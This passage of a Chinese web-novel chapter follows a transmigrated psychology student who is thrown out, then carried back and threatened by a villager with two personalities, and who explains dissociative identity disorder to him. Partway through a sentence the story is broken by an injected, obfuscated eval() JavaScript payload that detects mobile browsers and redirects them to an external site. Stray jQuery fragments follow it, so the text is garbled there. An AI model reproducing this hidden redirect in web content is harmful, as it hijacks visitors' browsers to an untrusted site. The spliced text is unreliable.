这个人格没有白天的记忆。
沈明微企图用一种和善的语气告诉对方,她不是自己闯进来的。
“小哥,我是今天你从山上救来的,我叫沈明微,你也可以叫我大丫。”
弃奴却也不看她,只将她推出门去:“出去。”
“小哥,我没有恶意,你方才你把我带回来的,我是隔壁村的大丫。”她对着紧闭的门解释,“可以让我先进去吗?”
多人格记忆不互通的情况下,任谁一觉醒来发现家里莫名多出个人,这反应也正常。
沈明微理解。
门忽然又被打开,沈明微笑着说:“多谢小……”
她话还未说完,弃奴就把她拦腰抱起,直接朝着院门口走去,跟泼水一样往外一扔。
“啪叽——”沈明微摔了个屁股蹲。
欲哭无泪,沈明微捂住疼痛的屁股爬起来,只看见那人冷漠无情的背影,房门应声锁上。
这是被这个人格完全拒绝了。
沈明微垂头丧气在院子外村径走了几步,黑咕隆咚的树影在不远处招摇。
她默默缩回脚,回退到院门口,身体靠着篱笆墙滑下,举目望月。
月光柔和,照耀苍凉大地万物生灵,饱含柔和与悲悯。
沈明微盯着那月亮眼睛发酸。
她绝不信,她被毫无防备地送到这个世界,这个世界又以这样的方式将她拒之门外。
不!
既然人已经送来到她的眼前了,弃奴就是她在这个世界治疗的第一个病人。
她翻身而起,深吸一口气,对着房中叫道:“小哥,这天好黑,这外面会不会有狼啊?”
“小哥,你睡了吗?我可以睡地上的,这外面怪冷的,放我进去吧……”
“呜呜呜弃奴!明明是你带我回来的,怎么又翻脸不认人了!”
……
沈明微各种语气换了个遍,心底那股委屈顷刻像泄了洪。
回应她的却是村里此起彼伏的狗吠声,渐渐地离得近的几户人家也听见动静,三三两两点起灯出来瞧。
“这谁家的丫头啊,大半夜的在这里叫魂。”远处传来男人的吆喝声。
沈明微正抹着眼泪,听见身边传来细微的脚步声,疑惑声音从头顶传来。
“大丫?”
沈明微抬头去瞧,是白天村口遇见的李二婶。
正这时,她余光瞥见弃奴房里灯也点上了,房中的家伙也并非无动于衷。
她猛然扑到二婶怀里:“二婶!呜呜呜……”
李二婶忙问:“怎么了?怎在这外头哭啊?”
李二婶是个热心的人,这点沈明微在村口时已经感受到了。
她暗暗在心里对她说了声抱歉,就泪眼婆娑对着李二婶放声大哭:“二婶,弃奴把我丢外面了,这么黑我回不了家呜呜呜……”
李二婶见状有些心疼,她抬头看了眼身后自家的房子,又看了眼前幼猫一样凄惨的丫头。
她沉默半响,下了决心:“要不……那你来我家睡一晚吧。”
沈明微眼中噙着泪连连点头:“二婶,你人真好,我睡地上也可以的。”
这是倒是个更好的办法。
李二婶家离得近,她明天可以看看弃奴白天里那个人格会不会出现。
也不知道弃奴这病村民知不知道情况。
沈明微站起来拍了拍屁股,试探道:“二婶,我真不知道他是怎么了,白天还好好的,晚上就把我丢了出来,就好像变了个……”人一样。
她还没说完,院里头房门被猛然推开,男人快步走了过来。
惨白的月光下,弃奴脸色木然:“二婶,她去你家不方便,我带她进去。”
李二婶犹豫看了一眼瞧了他一眼:“那你别欺负了这丫头,白日里你把人带回来的,你总不能把人丢外头就不管了……”
“不会的,二婶。”弃奴装作乖乖应下。
李二婶叹了口气,她确实有心无力。真把人带回去,家里头那位还不知说些什么难听的,既然弃奴愿意把人先领回去再好不过。
弃奴心思单纯,应当不会伤害这丫头。
李二婶拍了拍沈明微肩膀,又将抓着她腕的小手拉开,转身朝着自家屋走去。
沈明微恨不得跟屁虫一样跟上去。
突然身后一只有力的臂膀将沈明微拦腰圈起,生生将人抗肩上。
一阵天旋地转,沈明微双脚离地,几乎要叫出声,一只手陡然捂住她的嘴。
“呜呜……”沈明微惨叫了两声,猛砸男人的背,可那男人那健硕的肌肉硬如铁,给她自己手都砸痛了,也不见人有反应。
弃奴将她带回房中,长腿一扫,房门应声合上,径直将人丢床榻上去。
房中只有一盏床头柜上的油灯,幽暗密闭空间,微弱的灯光映着弃奴半张脸显得异常诡谲,哪有白天的纯澈。
眼前这个男人身形高大,身后的影子也被拉得老长,恍若索命的阴差鬼司。
他走进一步。
沈明微几乎尖叫出声:“你别过来!你别过来!”
突然来这么一下,她怕了,真的怕了。
她第一次对这个世界和眼前这个男人产生恐惧。
在前世,很多人会沉浸虚拟情感关系,在虚构世界中获得真实的情感及生理的抚慰。
那时物质取之不尽,人们也没有生理焦虑,极少发生人身侵害。
可这是个贫瘠的原始世界,她既没有防身设备,力气也没有对方大,只要眼前这个男人想,可以对她为所欲为。
而且……这里没人会救她。
“怕了?”萧容与哼笑一声,“那是谁给你的勇气在外面鬼叫的?”
麻烦,又是麻烦,是白天那个东西带回来的麻烦。
可他萧容与离京来到这个村落两年有余,从未遇到过眼前这么大的麻烦。
一个小丫头片子,还胁迫上他了。
沈明微忍着几乎想哭出来:“你别动我,我可以帮你治病。”
“病,我有什么病。”萧容与冷笑。
沈明微看着他,吸了两下鼻子:“你答应当个好人,别碰我,我就告诉你。”
她前世在象牙塔里活了二十年。
看了很多病例,也跟着导师看多很多暴躁病人,其中不乏有反社会型人格障碍,但从未让自己落入这种境遇。
萧容与打量一眼床上的小丫头片子。
少女一头枯黄的头发,一整只干巴菜一样瑟缩在床榻里侧,削瘦苍白的脸上挂着两只过分圆润明亮的猫形眼,眼中的恐惧毫不掩饰。
萧容与气笑了,这时才知道她在怕什么,脑子里又在想什么。
“小丫头片子,别耍花招。”萧容与低声道,眼神透着威胁,“你明早天一亮就滚,但关于我的事,关于我的任何事,你要是敢说出去半个字,你就死定了。”
他语气幽幽:“我会先拔了你的舌头,让你喉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861510|212017||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
咙里的血飙上三尺,再把你绑了手脚丢回山上喂野狼。”
沈明微看着他咽了咽口水。
萧容与如愿看到她眼中的戒备,不再同她计较,坐到桌边兀自闭目养神。
沈明微松了口气,摸了摸床上被褥,布料很粗糙,但很干净,透着淡淡的草木香。
她抬起头悄悄打量眼前的弃奴。
男人闭着眼右手支头靠在桌边,明明身穿布衣,姿态却极为优雅,像是经历过特定的仪态训练。
弃奴这个人格应该至少及冠了,如今他即使闭上眼,动作也没有白天的孩子气。
沈明微过往见过的患有分离性身份障碍的人里,每个人格行为习惯确实会表现得不一样,甚至有的人格有自己独立的身份。
弃奴的两个人格记忆不互通,但都不是坏人。
即使眼前这个男人方才把她好一顿吓。
“小哥?”沈明微试探性喊了一声。
她不确定眼前这个人格是不是认同弃奴这个身份。
萧容与睁开眼,看过来。
沈明微壮了壮胆下了床走到他面前,试图拿出前世在诊疗室那种冷静专业的态度。
“我说你这是病,我可以治好你。”
萧容与眯起眼,第一次正眼瞧她。
少女眼中还残存着恐惧,只是周身沉淀了与她年岁身形不相符的沉静,和方才在门口哭天抢地、刚进了房就担惊受怕的样子截然不同。
这小丫头片子竟然有这份胆识。
萧容与:“什么病?”
“分离性身份障碍。”沈明微话音刚落,就住了口,她思索片刻换了说辞,“是一种病,就像风寒咳疾一样,只是这个病出在你的心里,你的心受伤了。”
导师说,等她真正独立问诊,会遇到更多形形色色的病人,很多病人是听不懂那些学术名词的,必须用最通俗易懂的话解释给他们听。
萧容与忽而抬起头:“继续。”
“得了这个病的人,很多都是小时候经历了各种伤害。可能不只遭受身体上的打骂,还有身边人情绪上的暴力……比如孩子怎么努力都不被亲人认可,或者孩子需要爹娘的关心,爹娘却毫不理会。”
见弃奴的眼神逐渐专注,沈明微也放松了紧绷的身体。
她继续道:“这个时候,孩子就会在心里生出一个保护他的人格,在这个孩子不想面对那些坏事的时候,这个人格就会跑出来帮助他承受。”
“但其实这个人格是孩子的一部分……”
其实还会诞生自毁型人格,但她观白天弃奴的表现,初步诊断那是保护型的交替人格。
她也不知这样解释算不算通俗易懂,毕竟她和眼前这个古人隔着堪比银河的代沟。
屋中烛火忽明忽暗,这是油灯即将燃尽的征兆。
萧容与看着眼前抖着声线还要侃侃而谈的少女,那双眼眸竟然比刚才还亮,她细腻带着甜味的嗓音却又带着清风拂过竹林的舒展。
随着那语调,他不免想起一些事,那些他不愿想起的地方。
他仿佛又看到那所象征着世间无上权力的宫殿,那里保护不了任何人,却吞噬一切。
“够了!”萧容与沉声喝道。
烛光倏忽熄灭,整个房中彻底陷入黑暗。
沈明微一时哑然,这下她彻底看不见眼前的人什么表情了。
黑暗中,男人毫无情绪的声音传来:
“这些话,你从哪里听来的。”